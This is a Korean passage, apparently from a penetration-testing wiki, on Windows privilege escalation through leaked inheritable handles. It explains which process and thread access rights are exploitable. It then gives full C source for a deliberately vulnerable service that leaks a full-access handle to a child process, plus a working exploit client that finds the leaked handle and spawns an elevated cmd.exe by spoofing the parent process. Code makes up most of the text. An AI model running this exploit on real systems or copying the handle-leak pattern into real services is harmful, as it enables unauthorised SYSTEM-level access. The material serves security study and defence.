이미 여러 권한 상승 사례가 있었으며, 열려 있고 상속 가능한 핸들을 가진 특권 프로세스가 비특권 프로세스를 실행하여 모든 핸들에 대한 접근을 허용했습니다.
예를 들어, SYSTEM으로 실행되는 프로세스가 새로운 프로세스(OpenProcess())를 전체 접근 권한으로 엽니다. 같은 프로세스가 주 프로세스의 모든 열린 핸들을 상속받는저권한 프로세스(CreateProcess())를 생성합니다.
그런 다음, 저권한 프로세스에 대한 전체 접근 권한이 있다면, OpenProcess()로 생성된 특권 프로세스에 대한 열린 핸들을 가져와쉘코드를 주입할 수 있습니다.
Interesting Handles
Process
초기 예제에서 읽었듯이, 비특권 프로세스가 충분한 권한을 가진 특권 프로세스의 프로세스 핸들을 상속받으면 그 위에서 임의의 코드를 실행할 수 있습니다.
이 훌륭한 기사에서 다음 권한 중 하나라도 가진 프로세스 핸들을 어떻게 악용할 수 있는지 확인할 수 있습니다:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Thread
프로세스 핸들과 유사하게, 비특권 프로세스가 충분한 권한을 가진 특권 프로세스의 스레드 핸들을 상속받으면 그 위에서 임의의 코드를 실행할 수 있습니다.
이 훌륭한 기사에서 다음 권한 중 하나라도 가진 프로세스 핸들을 어떻게 악용할 수 있는지 확인할 수 있습니다:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
File, Key & Section Handles
비특권 프로세스가특권 파일이나 레지스트리에 대한쓰기 동등 권한을 가진 핸들을 상속받으면, 파일/레지스트리를 덮어쓸 수 있습니다 (그리고 많은 운이 좋다면, 권한 상승을 할 수 있습니다).
섹션 핸들은 파일 핸들과 유사하며, 이러한 종류의 객체의 일반적인 이름은 "파일 매핑"입니다. 이들은 전체 파일을 메모리에 유지하지 않고 큰 파일을 작업하는 데 사용됩니다. 이는 파일 핸들의 악용과 "유사한" 방식으로 악용됩니다.
How to see handles of processes
Process Hacker
Process Hacker는 무료로 다운로드할 수 있는 도구입니다. 프로세스를 검사할 수 있는 여러 놀라운 옵션이 있으며, 그 중 하나는 각 프로세스의 핸들을 볼 수 있는 기능입니다.
모든 프로세스의 모든 핸들을 보려면 SeDebugPrivilege가 필요하므로 Process Hacker를 관리자 권한으로 실행해야 합니다.
예를 들어, 다음 코드는 취약한 Windows 서비스에 속합니다. 이 서비스 바이너리의 취약한 코드는 Exploit 함수 내부에 위치합니다. 이 함수는 전체 접근 권한으로 새로운 핸들 프로세스를 생성하기 시작합니다. 그런 다음, 저급 권한 프로세스를 생성하고 (_explorer.exe_의 저급 권한 토큰을 복사하여) _C:\users\username\desktop\client.exe_를 실행합니다. 취약점은 bInheritHandles를 TRUE로 설정하여 저급 권한 프로세스를 생성하는 데 있습니다.
따라서 이 저급 권한 프로세스는 먼저 생성된 고급 권한 프로세스의 핸들을 가져와서 쉘코드를 주입하고 실행할 수 있습니다 (다음 섹션 참조).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Exploit Example 1
실제 시나리오에서는 취약한 코드에 의해 실행될 이진 파일을 제어할 수 없을 가능성이 높습니다 (_C:\users\username\desktop\client.exe_의 경우). 아마도 프로세스를 손상시키고 권한이 있는 프로세스의 취약한 핸들에 접근할 수 있는지 확인해야 할 것입니다.
이 예제에서는 _C:\users\username\desktop\client.exe_에 대한 가능한 익스플로잇의 코드를 찾을 수 있습니다.
이 코드에서 가장 흥미로운 부분은 GetVulnProcHandle에 있습니다. 이 함수는 모든 핸들을 가져오기 시작한 다음, 그 중 어떤 것이 동일한 PID에 속하는지 확인하고 핸들이 프로세스에 속하는지 확인합니다. 이러한 모든 요구 사항이 충족되면 (접근 가능한 열린 프로세스 핸들이 발견되면), 프로세스의 핸들을 악용하여 셸코드를 주입하고 실행하려고 시도합니다.
셸코드의 주입은 Inject 함수 내에서 이루어지며, 권한이 있는 프로세스 내에 셸코드를 작성하고 동일한 프로세스 내에 스레드를 생성하여 셸코드를 실행합니다.
실제 시나리오에서는 취약한 코드에 의해 실행될 바이너리를 제어할 수 없을 것입니다 (_C:\users\username\desktop\client.exe_의 경우). 아마도 프로세스를 손상시키고, 권한이 있는 프로세스의 취약한 핸들에 접근할 수 있는지 확인해야 할 것입니다.
이 예제에서는 열려 있는 핸들을 악용하여 쉘코드를 주입하고 실행하는 대신, 권한이 있는 열린 핸들 프로세스의 토큰을 사용하여 새로운 프로세스를 생성할 것입니다. 이는 138행에서 148행까지 수행됩니다.
**함수 UpdateProcThreadAttribute**가 속성 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS와 열린 권한 프로세스에 대한 핸들과 함께 사용되는 것을 주목하십시오. 이는 생성된 프로세스 스레드가 _cmd.exe_**를 실행할 때 열린 핸들 프로세스와 동일한 토큰 권한을 가질 것임을 의미합니다**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}